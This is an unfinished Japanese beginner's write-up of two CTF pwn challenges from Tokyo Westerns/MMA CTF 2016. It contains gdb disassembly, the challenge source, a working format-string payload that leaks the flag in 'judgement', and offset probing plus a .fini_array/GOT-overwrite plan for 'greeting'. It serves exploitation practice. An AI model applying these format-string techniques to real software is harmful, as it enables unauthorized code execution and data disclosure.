greeting - Tokyo Westerns/MMA CTF 2nd 2016

bata_24氏が公開しているpwn良問集が存在する

pwn challenges list - Pastebin.com
ctf4u

練習のために、これを順番に埋めていく
適当なことを書いてるかもしれないが初心者なのであしからず

judgement

同じ大会のgreetingより点数が低い問題にjudgementがある
まず練習でそっちをやってみる。

$ ./judgement 
Flag judgment system
Input flag >> AAAA
AAAA
Wrong flag...

実行すると、flag.txtというファイルを読み込む。
ユーザ入力を受け付けて、flagと一致しているか確かめるというプログラム。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANARYが有効で、RELROがPartialなので、FormatString攻撃が有効か。

gdb-peda$ pdisas main
Dump of assembler code for function main:
   ...
   0x0804879c <+113>: lea    eax,[ebp-0x4c]
   0x0804879f <+116>: mov    DWORD PTR [esp],eax
   0x080487a2 <+119>: call   0x80484e0 <printf@plt>
   0x080487a7 <+124>: mov    DWORD PTR [esp+0x4],0x804a0a0
   0x080487af <+132>: lea    eax,[ebp-0x4c]
   0x080487b2 <+135>: mov    DWORD PTR [esp],eax
   0x080487b5 <+138>: call   0x80484d0 <strcmp@plt>
   ...
End of assembler dump.
gdb-peda$ x/s 0x804a0a0
0x804a0a0 <flag>: ""

上より、どうやらスタック上にflagという変数が用意されており、ファイルの中身はこれに展開されているようだ。
FormatString攻撃により、普通にスタックの中身を見るだけでよさそう。

gdb-peda$ x/32xw $esp
0xbfffefd0: 0xbffff07c  0x00000004  0xb7fffaf0  0xb7fdcb48
0xbfffefe0: 0x00000001  0x00000001  0x00000000  0x0000000a
0xbfffeff0: 0x00000001  0x00000000  0xbffff014  0x0804a030
0xbffff000: 0x080482e8  0x08048278  0x08048a01  0xb7e7c6fe
0xbffff010: 0x0804b008  0xb7e23148  0x0000003f  0x0000000a
0xbffff020: 0x00000001  0x0804a000  0x00000002  0x00000001
0xbffff030: 0xbffff078  0xb7ff2500  0x0804b0a0  0xb7eacaa0
0xbffff040: 0x0804a0a0  0xb7fff938  0x00000001  0x08048853

printf@pltまで実行し、スタックを眺めてみると、flagのアドレス0x0804a0a0が存在している
AAAAのアドレス0xbffff07cから28byte先なので、以下のようにすればFLAGが読める。

$ ./judgement 
Flag judgment system
Input flag >> %28$s
flag{abcdefg}
Wrong flag...

greeting

それではgreetingをやってみよう。

$ readelf -s greeting | grep -v @ | grep -v __ | grep FUNC
    30: 08048530     0 FUNC    LOCAL  DEFAULT   13 deregister_tm_clones
    31: 08048560     0 FUNC    LOCAL  DEFAULT   13 register_tm_clones
    35: 080485c0     0 FUNC    LOCAL  DEFAULT   13 frame_dummy
    54: 08048780     0 FUNC    GLOBAL DEFAULT   15 _fini
    65: 08048742    62 FUNC    GLOBAL DEFAULT   14 nao
    69: 080484f0     0 FUNC    GLOBAL DEFAULT   13 _start
    73: 080485ed   140 FUNC    GLOBAL DEFAULT   13 main
    75: 08048679    80 FUNC    GLOBAL DEFAULT   13 getnline
    79: 08048404     0 FUNC    GLOBAL DEFAULT   11 _init

関係ありそうな関数は main以外だとnaoだろうか
その二つをディスアセンブルしてみる

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080485ed <+0>:   push   ebp
   0x080485ee <+1>:   mov    ebp,esp
   0x080485f0 <+3>:   and    esp,0xfffffff0
   0x080485f3 <+6>:   sub    esp,0xa0
   0x080485f9 <+12>:  mov    eax,gs:0x14
   0x080485ff <+18>:  mov    DWORD PTR [esp+0x9c],eax
   0x08048606 <+25>:  xor    eax,eax
   0x08048608 <+27>:  mov    DWORD PTR [esp],0x80487b3
   0x0804860f <+34>:  call   0x8048450 <printf@plt>
   0x08048614 <+39>:  mov    DWORD PTR [esp+0x4],0x40
   0x0804861c <+47>:  lea    eax,[esp+0x5c]
   0x08048620 <+51>:  mov    DWORD PTR [esp],eax
   0x08048623 <+54>:  call   0x8048679 <getnline>
   0x08048628 <+59>:  test   eax,eax
   0x0804862a <+61>:  je     0x8048656 <main+105>
   0x0804862c <+63>:  lea    eax,[esp+0x5c]
   0x08048630 <+67>:  mov    DWORD PTR [esp+0x8],eax
   0x08048634 <+71>:  mov    DWORD PTR [esp+0x4],0x80487d0
   0x0804863c <+79>:  lea    eax,[esp+0x1c]
   0x08048640 <+83>:  mov    DWORD PTR [esp],eax
   0x08048643 <+86>:  call   0x80484e0 <sprintf@plt>
   0x08048648 <+91>:  lea    eax,[esp+0x1c]
   0x0804864c <+95>:  mov    DWORD PTR [esp],eax
   0x0804864f <+98>:  call   0x8048450 <printf@plt>
   0x08048654 <+103>: jmp    0x8048662 <main+117>
   0x08048656 <+105>: mov    DWORD PTR [esp],0x80487e9
   0x0804865d <+112>: call   0x8048480 <puts@plt>
   0x08048662 <+117>: mov    edx,DWORD PTR [esp+0x9c]
   0x08048669 <+124>: xor    edx,DWORD PTR gs:0x14
   0x08048670 <+131>: je     0x8048677 <main+138>
   0x08048672 <+133>: call   0x8048470 <__stack_chk_fail@plt>
   0x08048677 <+138>: leave  
   0x08048678 <+139>: ret    
End of assembler dump.
gdb-peda$ pdisas nao
Dump of assembler code for function nao:
   0x08048742 <+0>:   push   ebp
   0x08048743 <+1>:   mov    ebp,esp
   0x08048745 <+3>:   sub    esp,0x18
   0x08048748 <+6>:   mov    eax,ds:0x8049a80
   0x0804874d <+11>:  mov    DWORD PTR [esp+0x4],0x0
   0x08048755 <+19>:  mov    DWORD PTR [esp],eax
   0x08048758 <+22>:  call   0x8048440 <setbuf@plt>
   0x0804875d <+27>:  mov    eax,ds:0x8049aa0
   0x08048762 <+32>:  mov    DWORD PTR [esp+0x4],0x0
   0x0804876a <+40>:  mov    DWORD PTR [esp],eax
   0x0804876d <+43>:  call   0x8048440 <setbuf@plt>
   0x08048772 <+48>:  mov    DWORD PTR [esp],0x804879c
   0x08048779 <+55>:  call   0x8048490 <system@plt>
   0x0804877e <+60>:  leave  
   0x0804877f <+61>:  ret    
End of assembler dump.

運営の方がソースコードも公開してくれているので、そちらも参考にする
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録

// gcc -m32 -Wl,-z,norelro greeting.c -o greeting
#include <stdio.h>
#include <string.h>
#define BUF_SIZE 64

int getnline(char*, int);

__attribute__((constructor, section("tomori")))
void nao(void){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    system("echo \"Hello, I'm nao\"!");
}

int main(void){
    char buf[BUF_SIZE], input[BUF_SIZE];

    printf("Please tell me your name... ");
    if(getnline(input, sizeof(input))){
        sprintf(buf, "Nice to meet you, %s :)\n", input);
        printf(buf);
    }
    else
        printf("Don't ignore me ;( \n");
}

int getnline(char *buf, int len){
    char *lf;

    fgets(buf, len, stdin);
    if(lf=strchr(buf, '\n'))
        *lf='\0';

    return strlen(buf);
}

先ほどとは異なり、FLAGをメモリに展開したりしてないので、シェルを起動する必要がある。
アセンブラやソースを見れば明らかだが、system関数がnao内で使われている。
引数に/bin/shを用いてこれを呼び出せばよさそう。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

見た感じだと、BOFは無理なので、再びFormatString攻撃を行う。
sprintfによって、bufに出力する文字を格納している。そのあとprintfが呼ばれる。
しかし、プログラムはprintfを実行したあと、すぐに終了してしまう。
(GOT OverwriteでGOTを書き換えても、書き換えた後に関数が呼ばれないので意味ない)

そこで、デストラクタに注目する。
デストラクタとは関数の終了時に実行される関数で引数はとらない。
確保したメモリ領域を解放したりとかするのに使うらしい。 C++の基礎 : コンストラクタ/デストラクタ

$ readelf -S greeting | grep fini_array
  [20] .fini_array       FINI_ARRAY      08049934 000934 000004 00  WA  0   0  4

.fini_arrayは書き込み可能なので、攻撃ができそう。

.fini_arrayセクションに登録された関数がexit時に呼ばれます.

しかしここで問題なのは,.fini_arrayに登録された関数には引数が与えられないという点です. なので,ここはmainを再度呼び,ユーザからの入力を第一引数に取る関数のGOTをsystemにしてやることにしましょう. getnline内で,fgetsで入力を取った後のstrlenが良さそうですね.
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録

ってことで、main関数を再び呼んでみる。
その前にFSBの下調べ。

$ python -c "print 'AABBBB'+'|%p'*30" | ./greeting 
Hello, I'm nao!
Please tell me your name... Nice to meet you, AABBBB|0x80487d0|0xbfb4e51c|(nil)|(nil)|(nil)|(nil)|0x6563694e|0x206f7420|0x7465656d|0x756f7920|0x4141202c|0x42424242|0x7c70257c|0x257c7025|0x70257c70|0x7c70257c|0x257c7025|0x70257c70|0x7c70257c :)

入力から12こ先に0x42424242が登場しているのがわかる

gdb-peda$ pdisas strlen
Dump of assembler code for function strlen@plt:
   0x080484c0 <+0>:   jmp    DWORD PTR ds:0x8049a54
   0x080484c6 <+6>:   push   0x40
   0x080484cb <+11>:  jmp    0x8048430
End of assembler dump.
gdb-peda$ x/x 0x08049a54
0x8049a54 <strlen@got.plt>:   0x080484c6

まだ途中 追記予定